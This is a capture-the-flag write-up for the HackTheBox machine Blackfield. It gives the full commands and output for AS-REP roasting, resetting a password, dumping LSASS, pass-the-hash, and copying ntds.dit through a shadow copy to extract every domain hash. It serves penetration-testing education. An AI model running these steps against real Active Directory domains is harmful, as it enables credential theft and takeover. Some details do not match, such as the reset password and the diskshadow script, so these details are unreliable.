HTB Blackfield Card

Blackfield is a Windows Active Directory HackTheBox machine, which involved retrieving a list of domain users from an SMB share, requesting and cracking the encrypted TGT to recover the password for the service account with kerberos pre-auth disabled (a.k.a. AS-REP Roasting), resetting the password for another user by leveraging the ForceChangePassword privilege, gaining access to a SMB share with memory dump backup files, one of which was for the LSASS process, and dump the hashes offline with pypykatz, and finally taking advantage of the Backup Operators group membership to create a shadow copy of ntds.dit to recover the password for the Administrator user.

Reconnaissance

Port Scan

Let’s start with a nmap port scan for top1000 TCP ports with service/version detection.

nmap -sV -vvv -oA nmap/initial 10.10.10.192

PORT     STATE SERVICE       REASON          VERSION
53/tcp   open  domain?       syn-ack ttl 127
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2020-06-07 16:38:32Z)
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)

...[snip]...

By reviewing nmap’s output, it’s pretty clear that the machine is an Active Directory domain controller.

SMB Enumeration

By poking at the SMB server with crackmapexec we can enumerate a few useful info about the box:

$ crackmapexec smb 10.10.10.192

SMB         10.10.10.192    445    DC01     [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)

In this case, the only relevant info are the OS and build version (Windows Server 2019) and the server’s hostname is DC01.BLACKFIELD.local.

Null sessions are allowed, so using smbmap and specifying a user with the -u option (any name is ok), we can list all SMB shares.

$ smbmap -H 10.10.10.192 -u 'guest'

[+] IP: 10.10.10.192:445        Name: 10.10.10.192
    Disk                    Permissions     Comment
    ----                    -----------     -------
    ADMIN$                  NO ACCESS       Remote Admin
    C$                      NO ACCESS       Default share
    forensic                NO ACCESS       Forensic / Audit share.
    IPC$                    READ ONLY       Remote IPC
    NETLOGON                NO ACCESS       Logon server share
    profiles$               READ ONLY
    SYSVOL                  NO ACCESS       Logon server share

The profiles$ share contains about 300 empty directories, which names looks like domain users’ usernames. We can save the directory listing to file with smbclient, and use awk to skip the first two entries (. and ..), limiting the output to the column with the names.

$ smbclient -N //10.10.10.192/profiles$ -c ls | awk 'FNR > 2 {print $1}' > profiles.lst
$ head -n 25 < profiles.lst
  .                   D        0  Wed Jun  3 12:47:12 2020
  ..                  D        0  Wed Jun  3 12:47:12 2020
  AAlleni             D        0  Wed Jun  3 12:47:11 2020
  ABarteski           D        0  Wed Jun  3 12:47:11 2020
  ABekesz             D        0  Wed Jun  3 12:47:11 2020
  ABenzies            D        0  Wed Jun  3 12:47:11 2020
  ABiemiller          D        0  Wed Jun  3 12:47:11 2020
  AChampken           D        0  Wed Jun  3 12:47:11 2020
  ACheretei           D        0  Wed Jun  3 12:47:11 2020
...[snip]...

Going through the list, there are a few names that stand outs, as they doesn’t have the same format as the other ones (they’re lowercase). We can extract them using a regex with grep.

$ grep -v '[^[:lower:]0-9!+,_-]' profiles.lst | tee accounts.lst
audit2020
support
svc_backup

A quick way of verying that these are indeed valid domain accounts is sending AS-REQ requests to the KDC, and see if it responds with a PRINCIPAL UNKNOWN error (user doesn’t exist) or with a AS-REP message (user exists).

$ kerbrute userenum --dc 10.10.10.192 -d blackfield accounts.lst

All 3 are valid domain accounts:

2020/08/31 19:29:16 >  [+] VALID USERNAME:	 audit2020@blackfield
2020/08/31 19:31:13 >  [+] VALID USERNAME:	 svc_backup@blackfield
2020/08/31 19:31:13 >  [+] VALID USERNAME:	 support@blackfield

Access as user service

With a list of potentially valid domain accounts, we can check is if Kerberos pre-authentication is not required for each one of them. By default the UF_DONT_REQUIRE_PREAUTH flag is unset, and must be set manually for each domain account to make them vulnerable to AS-REP roasting.

Using impacket’s GetNPUsers.py script we can request an encrypted TGT for each one of the account:

$ while read user; do impacket-GetNPUsers -request -dc-ip 10.10.10.192 blackfield.local\$user; done < accounts.lst

[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$support@BLACKFIELD:3bbf5b20456f9539e6b59d29278fe01b$d0e38c74a27a2e1d46b2269b8[...]

blackfield.local\service account have UF_DONT_REQUIRE_PREAUTH flag enabled. Using hashcat with mode 18200 we can attempt to crack the hash.

$ hashcat -m 18200 krb-hash.txt /usr/share/wordlists/rockyou.txt

...[snip]...

Dictionary cache built:
+ Filename..: /usr/share/wordlists/rockyou.txt
+ Passwords.: 14344392
+ Bytes.....: 139921507
+ Runtime...: 1 sec

$krb5asrep$23$support@BLACKFIELD.LOCAL:83f252224f04becb310[...]80ec6b1bb9d13c0:#00^BlackKnight

Luckily for us, the password was in rockyou.txt, so we finally have valid credentials for the domain user support.

Access as user audit2020

With support creds, we could try to get a foothold on the server via WinRM, but unfortunately audit2020 user wasn’t member of the Remote Management Users group.

$ rpcclient -U 'blackfield/support%#00^BlackKnight' 10.10.10.192 \
    -c "enumalsgroups builtin"

group:[Server Operators] rid:[0x225]
group:[Account Operators] rid:[0x224]
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
...[snip]...
group:[Remote Management Users] rid:[0x244]
group:[Storage Replica Administrators] rid:[0x246]
$ rpcclient -U 'blackfield/support%#00^BlackKnight' 10.10.10.192 \
    -c "queryaliasmem builtin 0x244"

        sid:[S-1-5-21-4194615774-2175524697-3563712290-1413]
$ rpcclient -U 'blackfield/support%#00^BlackKnight' 10.10.10.192 \
    -c "lookupsids S-1-5-21-4194615774-2175524697-3563712290-1413"

S-1-5-21-4194615774-2175524697-3563712290-1413 BLACKFIELD\svc_backup (1)

The only account which is allowed to access the server via WinRM is apparently svc_backup user. We can take note of that and move on for now.

No luck with kerberoasting either.

$ GetUserSPNs.py -request -dc-ip 10.10.10.192 'blackfield.local/support:##00^BlackKnight'

...[snip]...

No entries found!

Since we have valid creds but no foothold on the server, we can use BloodHound.py ingestor and collect info via LDAP, to discovery potential attack paths.

If we mark the support user as owned, and the audit user as end node, we can see that support have the ForceChangePassword permission, which can be leveraged to reset the password for the end user, as the name suggest.

Bloodhound path

Using rpcclient we can connect to the server and set a new password for the audit2020 user.

$ rpcclient -U 'support' 10.10.10.192
Enter WORKGROUP\support's password:
rpcclient $> setuserinfo2 audit2020 23 'Password123!'
rpcclient $> exit

Access as user svc_backup

Once again we go back to the enum phase, and check if the audit2020 user have access to any new SMB share.

smbmap -H 10.10.10.192 -u 'audit2020' -p 'P4zzword123'

[+] IP: 10.10.10.192:445        Name: BLACKFIELD.local
        Disk                    Permissions     Comment
        ----                    -----------     -------
        ADMIN$                  NO ACCESS       Remote Admin
        C$                      NO ACCESS       Default share
        forensic                READ ONLY       Forensic / Audit share.
        IPC$                    READ ONLY       Remote IPC
        NETLOGON                READ ONLY       Logon server share
        profiles$               READ ONLY
        SYSVOL                  READ ONLY       Logon server share

User audit2020 have read access to the forensics share, so we can mount it locally and see what’s inside.

sudo mount -t cifs //10.10.10.192/forensic smb-mounts \
  -o "username=audit2020,password=P4zzword123"
$ cd smb-mounts/memory_analysis
$ ls -la
total 506012
drwxr-xr-x 2 root root      8192 May 28 19:28 .
drwxr-xr-x 2 root root      4096 Feb 23 12:03 ..
-rwxr-xr-x 1 root root  37876530 May 28 19:25 conhost.zip
-rwxr-xr-x 1 root root  24962333 May 28 19:25 ctfmon.zip
-rwxr-xr-x 1 root root  23993305 May 28 19:25 dfsrs.zip
-rwxr-xr-x 1 root root  18366396 May 28 19:26 dllhost.zip
-rwxr-xr-x 1 root root   8810157 May 28 19:26 ismserv.zip
-rwxr-xr-x 1 root root  41936098 May 28 19:25 lsass.zip
-rwxr-xr-x 1 root root  64288607 May 28 19:25 mmc.zip
-rwxr-xr-x 1 root root  13332174 May 28 19:26 RuntimeBroker.zip
-rwxr-xr-x 1 root root 131983313 May 28 19:26 ServerManager.zip
...[snip]...

The memory_analysis folder contains several archives which looks like process dumps. The most interesting one is definitely lsass.zip. We can make a copy of it so that we can use pypykatz to dump the users hashes.

$ unzip lsass.zip
$ pypykatz lsa minidump lsass.DMP

[...]

== LogonSession ==
authentication_id 406499 (633e3)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406499

        == MSV ==
        Username: svc_backup
        Domain: BLACKFIELD
        LM: NA
        NT: 9658d1d1dcd9250115e2205d9f48400d
        SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c

        [...]

From previous enumeration, we know that svc_backup user was in the Remote Management Users group, so we can use evil-winrm with the -H option to login into the box with Pass the Hash (PtH).

$ evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

[...]

*Evil-WinRM* PS C:\Users\svc_backup\Documents>

Finally with a shell on the box we can grab the user flag:

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> cat user.txt
0a4b86dc8[...]

Privilege Escalation to Administrator

The svc_backup user is a member of the Backup Operators group, and has the SeBackupPrivilege, which is a pretty powerful privilege that allows for the creation of a shadow copy of the current state of the domain controller.

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> net user svc_backup

User name                    svc_backup
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/23/2020 10:54:48 AM
Password expires             Never
Password changeable          2/24/2020 10:54:48 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   2/23/2020 11:03:50 AM

Logon hours allowed          All

Local Group Memberships      *Backup Operators     *Remote Management Use
Global Group memberships     *Domain Users
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

By following the steps described here we can take advantage of the SeBackupPrivilege we can create and upload a script file for diskshadow utility tool to create a copy of the ntds.dit file, which is an encrypted database that contains the hashes for all the users in the domain.

First let’s create the script:

set metadata C:\temp\srvdc1\metadata.cab
set context clientaccessible
set context persistent
begin backup
add volume c: alias mydrive
create
expose %mydrive% z:

Then we upload the script and use diskshadow to run it:

*Evil-WinRM* PS C:\temp> upload shadowscript.txt
*Evil-WinRM* PS C:\temp> diskshadow /s shadowscript.txt

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  10/5/2020 4:30:22 PM

-> set metadata C:\Windows\System32\spool\drivers\color\sss.cab
-> set context clientaccessible
-> set context persistent
-> begin backup
-> add volume c: alias coldfx
-> create
Alias coldfx for shadow ID {87e12f70-64e3-4f5f-bebb-66a01dafae89} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {afca95ea-15c2-4467-8f35-70e36c7ed6fe} set as environment variable.

...[snip]...

Number of shadow copies listed: 1
-> expose %coldfx% z:
-> %coldfx% = {87e12f70-64e3-4f5f-bebb-66a01dafae89}
The shadow copy was successfully exposed as z:\.
->
Note: END BACKUP was not commanded, writers not notified BackupComplete.
DiskShadow is exiting.

Using robotocopy with /b flag to ingore file permissions we can save the ntds.dit file to C:\temp:

Evil-WinRM* PS C:\temp> robocopy /b z:\windows\ntds . ntds.dit
[...]

Now we can download the copy of ntds.dit file, and grab the system registry hive, which contains the System boot key, needed to decrypt the ntds database.

*Evil-WinRM* PS C:\temp> download ntds.dit ntds.dit.bak
Info: Downloading C:\temp\ntds.dit to ntds.dit.bak
*Evil-WinRM* PS C:\temp> reg save HKLM\SYSTEM C:\temp\system
The operation completed successfully.

*Evil-WinRM* PS C:\temp> download system system.bak
Info: Downloading C:\temp\system to system.bak

Using impacket-secretsdump script, we can parse ntds.dit and extract the NTLM hashes.

$ impacket-secretsdump -ntds ntds.dit.bak -system system.bak local
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:65557f7ad03ac340a7eb12b9462f80d6:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:c95ac94a048e7c29ac4b4320d7c9d3b5:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
BLACKFIELD.local\BLACKFIELD764430:1105:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD538365:1106:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
[...]

Finally wan can use the Administrator hash, get a shell via WinRM + PtH, and grab the root flag.

$ evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee

[...]

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
5b97351ac74d[...]

References